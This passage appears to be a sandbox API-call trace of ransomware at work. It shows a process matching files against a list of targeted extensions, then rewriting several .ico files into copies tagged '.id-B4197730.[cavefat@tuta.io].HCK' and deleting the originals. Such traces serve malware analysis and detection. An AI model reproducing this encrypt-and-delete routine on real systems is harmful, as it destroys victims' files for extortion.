[0149.040] lstrlenW (lpString=".rar") returned 4 [0149.040] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.040] lstrlenW (lpString=".bz2") returned 4 [0149.040] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.040] lstrlenW (lpString=".7z") returned 3 [0149.040] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString=".dbf") returned 4 [0149.040] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString=".1cd") returned 4 [0149.040] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString=".jpg") returned 4 [0149.040] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.040] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.040] lstrlenW (lpString="Rotate4.ico") returned 11 [0149.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.041] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0149.041] CloseHandle (hObject=0x308) returned 1 [0149.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0149.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.041] GetLastError () returned 0x0 [0149.041] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.043] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0149.043] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.043] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.044] SetEndOfFile (hFile=0x30c) returned 1 [0149.044] CloseHandle (hObject=0x30c) returned 1 [0149.044] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.044] SetEndOfFile (hFile=0x308) returned 1 [0149.045] CloseHandle (hObject=0x308) returned 1 [0149.045] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.045] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".doc") returned 4 [0149.046] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.046] lstrlenW (lpString=".docx") returned 5 [0149.046] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0149.046] lstrlenW (lpString=".pdf") returned 4 [0149.046] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".xls") returned 4 [0149.046] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".xlsx") returned 5 [0149.046] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0149.046] lstrlenW (lpString=".ppt") returned 4 [0149.046] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".zip") returned 4 [0149.046] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".rar") returned 4 [0149.046] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".bz2") returned 4 [0149.046] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.046] lstrlenW (lpString=".7z") returned 3 [0149.046] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".dbf") returned 4 [0149.046] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".1cd") returned 4 [0149.046] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".jpg") returned 4 [0149.046] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".doc") returned 4 [0149.046] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.046] lstrlenW (lpString=".docx") returned 5 [0149.046] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0149.046] lstrlenW (lpString=".pdf") returned 4 [0149.046] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".xls") returned 4 [0149.046] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString=".xlsx") returned 5 [0149.046] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0149.046] lstrlenW (lpString=".ppt") returned 4 [0149.046] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.046] lstrlenW (lpString=".zip") returned 4 [0149.047] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.047] lstrlenW (lpString=".rar") returned 4 [0149.047] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.047] lstrlenW (lpString=".bz2") returned 4 [0149.047] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.047] lstrlenW (lpString=".7z") returned 3 [0149.047] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.047] lstrlenW (lpString=".dbf") returned 4 [0149.047] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.047] lstrlenW (lpString=".1cd") returned 4 [0149.047] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0149.047] lstrlenW (lpString=".jpg") returned 4 [0149.047] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.047] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.047] lstrlenW (lpString="Rotate5.ico") returned 11 [0149.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.047] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0149.047] CloseHandle (hObject=0x308) returned 1 [0149.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0149.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.047] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.048] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.048] GetLastError () returned 0x0 [0149.048] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.049] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0149.050] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.050] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.050] SetEndOfFile (hFile=0x30c) returned 1 [0149.050] CloseHandle (hObject=0x30c) returned 1 [0149.051] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.051] SetEndOfFile (hFile=0x308) returned 1 [0149.052] CloseHandle (hObject=0x308) returned 1 [0149.052] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.052] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0149.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.052] lstrlenW (lpString=".doc") returned 4 [0149.052] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.052] lstrlenW (lpString=".docx") returned 5 [0149.052] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0149.052] lstrlenW (lpString=".pdf") returned 4 [0149.052] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.052] lstrlenW (lpString=".xls") returned 4 [0149.052] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.052] lstrlenW (lpString=".xlsx") returned 5 [0149.052] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0149.052] lstrlenW (lpString=".ppt") returned 4 [0149.052] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.052] lstrlenW (lpString=".zip") returned 4 [0149.052] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.052] lstrlenW (lpString=".rar") returned 4 [0149.052] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.052] lstrlenW (lpString=".bz2") returned 4 [0149.052] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString=".7z") returned 3 [0149.053] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".dbf") returned 4 [0149.053] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".1cd") returned 4 [0149.053] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".jpg") returned 4 [0149.053] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".doc") returned 4 [0149.053] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString=".docx") returned 5 [0149.053] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0149.053] lstrlenW (lpString=".pdf") returned 4 [0149.053] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString=".xls") returned 4 [0149.053] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString=".xlsx") returned 5 [0149.053] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0149.053] lstrlenW (lpString=".ppt") returned 4 [0149.053] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".zip") returned 4 [0149.053] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString=".rar") returned 4 [0149.053] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.053] lstrlenW (lpString=".bz2") returned 4 [0149.053] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString=".7z") returned 3 [0149.053] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".dbf") returned 4 [0149.053] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".1cd") returned 4 [0149.053] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0149.053] lstrlenW (lpString=".jpg") returned 4 [0149.053] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.053] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.053] lstrlenW (lpString="Rotate6.ico") returned 11 [0149.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.054] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0149.054] CloseHandle (hObject=0x308) returned 1 [0149.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0149.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.054] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.054] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.054] GetLastError () returned 0x0 [0149.054] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.056] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0149.057] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.057] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.057] SetEndOfFile (hFile=0x30c) returned 1 [0149.057] CloseHandle (hObject=0x30c) returned 1 [0149.058] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.058] SetEndOfFile (hFile=0x308) returned 1 [0149.058] CloseHandle (hObject=0x308) returned 1 [0149.058] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.058] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".doc") returned 4 [0149.059] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.059] lstrlenW (lpString=".docx") returned 5 [0149.059] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0149.059] lstrlenW (lpString=".pdf") returned 4 [0149.059] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString=".xls") returned 4 [0149.059] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString=".xlsx") returned 5 [0149.059] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0149.059] lstrlenW (lpString=".ppt") returned 4 [0149.059] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".zip") returned 4 [0149.059] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString=".rar") returned 4 [0149.059] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString=".bz2") returned 4 [0149.059] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.059] lstrlenW (lpString=".7z") returned 3 [0149.059] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".dbf") returned 4 [0149.059] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".1cd") returned 4 [0149.059] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".jpg") returned 4 [0149.059] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.059] lstrlenW (lpString=".doc") returned 4 [0149.059] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.060] lstrlenW (lpString=".docx") returned 5 [0149.060] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0149.060] lstrlenW (lpString=".pdf") returned 4 [0149.060] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.060] lstrlenW (lpString=".xls") returned 4 [0149.060] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.060] lstrlenW (lpString=".xlsx") returned 5 [0149.060] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0149.060] lstrlenW (lpString=".ppt") returned 4 [0149.060] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.060] lstrlenW (lpString=".zip") returned 4 [0149.060] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.060] lstrlenW (lpString=".rar") returned 4 [0149.060] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.060] lstrlenW (lpString=".bz2") returned 4 [0149.060] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.060] lstrlenW (lpString=".7z") returned 3 [0149.060] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.060] lstrlenW (lpString=".dbf") returned 4 [0149.060] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.060] lstrlenW (lpString=".1cd") returned 4 [0149.060] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0149.060] lstrlenW (lpString=".jpg") returned 4 [0149.060] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.060] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.060] lstrlenW (lpString="Rotate7.ico") returned 11 [0149.060] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.060] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0149.060] CloseHandle (hObject=0x308) returned 1 [0149.060] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0149.060] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.061] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.061] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: 